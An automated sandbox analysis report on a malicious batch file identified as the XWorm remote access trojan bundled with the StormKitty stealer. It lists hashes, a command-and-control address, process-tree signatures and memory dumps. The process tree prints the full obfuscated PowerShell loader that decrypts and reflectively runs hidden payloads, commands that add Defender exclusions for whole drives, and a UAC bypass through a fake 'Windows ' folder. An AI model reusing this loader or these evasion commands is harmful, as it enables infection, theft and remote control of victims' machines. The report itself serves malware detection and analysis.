stormkitty | 6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

General

Target

myxwr5cli.bat
Size

379KB
MD5

03c6c2175f84ad54c989f0608d3cbb57
SHA1

9846d7aa4c639d038f428977dfe0eef7db8ac009
SHA256

6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7
SHA512

45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8
SSDEEP

6144:xdlplCiywRsuBfq3Y3zzyMECoefagF68zh3IHstkjcGH9z2eRTbYXa8KZITbq:xrCiHWuBS3Y3zzyDCoefPQsy/qeF6KZl

Score

10^/10

stormkitty xworm execution rat stealer trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

127.0.0.1:7001

134.255.233.93:7001

Mutex

5loUYH5mEGReJgAG

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4748-70-0x0000018AD6DB0000-0x0000018AD6DC0000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4748-88-0x0000018AD70C0000-0x0000018AD71DE000-memory.dmp	family_stormkitty

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
33	4748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4856	powershell.exe
4748	powershell.exe
640	powershell.exe
4992	powershell.exe
396	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4540	ComputerDefaults.exe

Loads dropped DLL 1 IoCs

pid	Process
4540	ComputerDefaults.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4856	powershell.exe
4856	powershell.exe
4992	powershell.exe
4992	powershell.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
396	powershell.exe
396	powershell.exe
396	powershell.exe
640	powershell.exe
640	powershell.exe
640	powershell.exe
4748	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4748	powershell.exe
Token: SeDebugPrivilege	396	powershell.exe
Token: SeDebugPrivilege	640	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4748	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 3700	3972	cmd.exe	84
PID 3972 wrote to memory of 3700	3972	cmd.exe	84
PID 3972 wrote to memory of 4628	3972	cmd.exe	86
PID 3972 wrote to memory of 4628	3972	cmd.exe	86
PID 3972 wrote to memory of 4856	3972	cmd.exe	87
PID 3972 wrote to memory of 4856	3972	cmd.exe	87
PID 4856 wrote to memory of 4992	4856	powershell.exe	89
PID 4856 wrote to memory of 4992	4856	powershell.exe	89
PID 4856 wrote to memory of 3516	4856	powershell.exe	91
PID 4856 wrote to memory of 3516	4856	powershell.exe	91
PID 3516 wrote to memory of 4540	3516	cmd.exe	95
PID 3516 wrote to memory of 4540	3516	cmd.exe	95
PID 4540 wrote to memory of 5080	4540	ComputerDefaults.exe	96
PID 4540 wrote to memory of 5080	4540	ComputerDefaults.exe	96
PID 5080 wrote to memory of 2136	5080	cmd.exe	98
PID 5080 wrote to memory of 2136	5080	cmd.exe	98
PID 5080 wrote to memory of 3732	5080	cmd.exe	101
PID 5080 wrote to memory of 3732	5080	cmd.exe	101
PID 5080 wrote to memory of 4748	5080	cmd.exe	102
PID 5080 wrote to memory of 4748	5080	cmd.exe	102
PID 4748 wrote to memory of 396	4748	powershell.exe	103
PID 4748 wrote to memory of 396	4748	powershell.exe	103
PID 4748 wrote to memory of 640	4748	powershell.exe	105
PID 4748 wrote to memory of 640	4748	powershell.exe	105
PID 4856 wrote to memory of 536	4856	powershell.exe	112
PID 4856 wrote to memory of 536	4856	powershell.exe	112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Windows\system32\cmd.exe
  cmd /c "set __=^&rem"
  2⤵
  PID:3700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\myxwr5cli.bat';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:4628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c "C:\Windows \System32\ComputerDefaults.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows \System32\ComputerDefaults.exe
      "C:\Windows \System32\ComputerDefaults.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:4540
    - - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c call SC.cmd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5080
      - C:\Windows\system32\cmd.exe
        
        cmd /c "set __=^&rem"
        6⤵
        
        PID:2136
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP+qKNutTynKUkrEYUHXrfgFt+qGd2k9eoIQyTxHELs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('w4Vmy/houRSXsK7A9z6kzA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lvUHo=New-Object System.IO.MemoryStream(,$param_var); $UxGoq=New-Object System.IO.MemoryStream; $NiPKr=New-Object System.IO.Compression.GZipStream($lvUHo, [IO.Compression.CompressionMode]::Decompress); $NiPKr.CopyTo($UxGoq); $NiPKr.Dispose(); $lvUHo.Dispose(); $UxGoq.Dispose(); $UxGoq.ToArray();}function execute_function($param_var,$param2_var){ $KkPkD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zNDLa=$KkPkD.EntryPoint; $zNDLa.Invoke($null, $param2_var);}$XLuZt = 'C:\Users\Admin\AppData\Local\Temp\SC.cmd';$host.UI.RawUI.WindowTitle = $XLuZt;$fEYHc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XLuZt).Split([Environment]::NewLine);foreach ($OYqiR in $fEYHc) { if ($OYqiR.StartsWith('yCOdwoiwmunBFrPLojaG')) { $RNNcG=$OYqiR.Substring(20); break; }}$payloads_var=[string[]]$RNNcG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3732
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:396
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command " Remove-Item '\\?\C:\Windows \' -Force -Recurse "
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:640
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c rmdir "c:\Windows \"/s /q
    3⤵
    PID:536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
a26df49623eff12a70a93f649776dab7

SHA1
efb53bd0df3ac34bd119adf8788127ad57e53803

SHA256
4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

SHA512
e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
34f595487e6bfd1d11c7de88ee50356a

SHA1
4caad088c15766cc0fa1f42009260e9a02f953bb

SHA256
0f9a4b52e01cb051052228a55d0515911b7ef5a8db3cf925528c746df511424d

SHA512
10976c5deaf9fac449e703e852c3b08d099f430de2d7c7b8e2525c35d63e28b890e5aab63feff9b20bca0aaf9f35a3ba411aee3fbeee9ea59f90ed25bd617a0b

Download Submit
C:\Users\Admin\AppData\Local\Temp\SC.cmd

Filesize
379KB

MD5
03c6c2175f84ad54c989f0608d3cbb57

SHA1
9846d7aa4c639d038f428977dfe0eef7db8ac009

SHA256
6d04562cf9d1e0ee7b7c77af40e1e3299b6eba9375f35978d9776d94a9dae3d7

SHA512
45bc9713a632904216f5bfd3e5648542382bc5c3aa8fa5253eea9f04d6592ac0aabcffc02451261210835f4f4d57c1f4895b7d02be24dd5edffbdc5e5b5e13c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zeh3kqa0.fnq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows \System32\ComputerDefaults.exe

Filesize
80KB

MD5
d25a9e160e3b74ef2242023726f15416

SHA1
27a9bb9d7628d442f9b5cf47711c906e3315755b

SHA256
7b0334c329e40a542681bcaff610ae58ada8b1f77ff6477734c1b8b9a951ef4c

SHA512
bafaee786c90c96a2f76d4bbcddbbf397a1afd82d55999081727900f3c2de8d2eba6b77d25c622de0c1e91c54259116bc37bc9f29471d1b387f78aaa4d276910

Download Submit
C:\Windows \System32\MLANG.dll

Filesize
122KB

MD5
e286ada1af4b08fa4b7c78f862883c4e

SHA1
798ebc7b7cd3db667f1a59ade299be4cff397f39

SHA256
16eb71b68025711fdbc93229fde22ecc73dc8a23be8b40700772b96978187ea3

SHA512
fbbbc893388a39e94d8b2265aef75dbaf5fd928fadabd3dbfc5cbee64b600de0102b82e5d2b5c56efe128b45f6ddd4bba2668194c05decdfa78c8e7e382de3f5

Download Submit
memory/4748-88-0x0000018AD70C0000-0x0000018AD71DE000-memory.dmp

Filesize
1.1MB

Download
memory/4748-70-0x0000018AD6DB0000-0x0000018AD6DC0000-memory.dmp

Filesize
64KB

Download
memory/4748-56-0x00007FFE77D40000-0x00007FFE77DFE000-memory.dmp

Filesize
760KB

Download
memory/4748-55-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

Filesize
2.0MB

Download
memory/4856-14-0x0000020ED0A30000-0x0000020ED0AA6000-memory.dmp

Filesize
472KB

Download
memory/4856-13-0x0000020ED09E0000-0x0000020ED0A24000-memory.dmp

Filesize
272KB

Download
memory/4856-6-0x0000020EB6320000-0x0000020EB6342000-memory.dmp

Filesize
136KB

Download
memory/4856-87-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4856-11-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4856-18-0x0000020EB6380000-0x0000020EB63C8000-memory.dmp

Filesize
288KB

Download
memory/4856-17-0x00007FFE77D40000-0x00007FFE77DFE000-memory.dmp

Filesize
760KB

Download
memory/4856-16-0x00007FFE79CF0000-0x00007FFE79EE5000-memory.dmp

Filesize
2.0MB

Download
memory/4856-15-0x0000020EB6370000-0x0000020EB6380000-memory.dmp

Filesize
64KB

Download
memory/4856-0-0x00007FFE5B743000-0x00007FFE5B745000-memory.dmp

Filesize
8KB

Download
memory/4856-12-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4992-21-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4992-19-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4992-20-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download
memory/4992-33-0x00007FFE5B740000-0x00007FFE5C201000-memory.dmp

Filesize
10.8MB

Download

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